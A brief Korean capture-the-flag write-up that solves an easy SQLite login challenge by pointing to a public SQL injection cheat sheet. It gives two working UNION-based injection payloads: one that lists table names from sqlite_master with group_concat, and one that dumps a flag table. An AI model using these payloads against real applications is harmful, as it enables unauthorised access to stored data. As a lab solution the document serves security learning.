쉬운 문제

참고해서 그냥 풀면 된다.

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL Injection/SQLite Injection.md

group_concat 사용

select id from member where id='admin' and pw='' union SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--

flag 가져오기

select id from member where id='admin' and pw='' union SELECT * from flag_70c81d99 --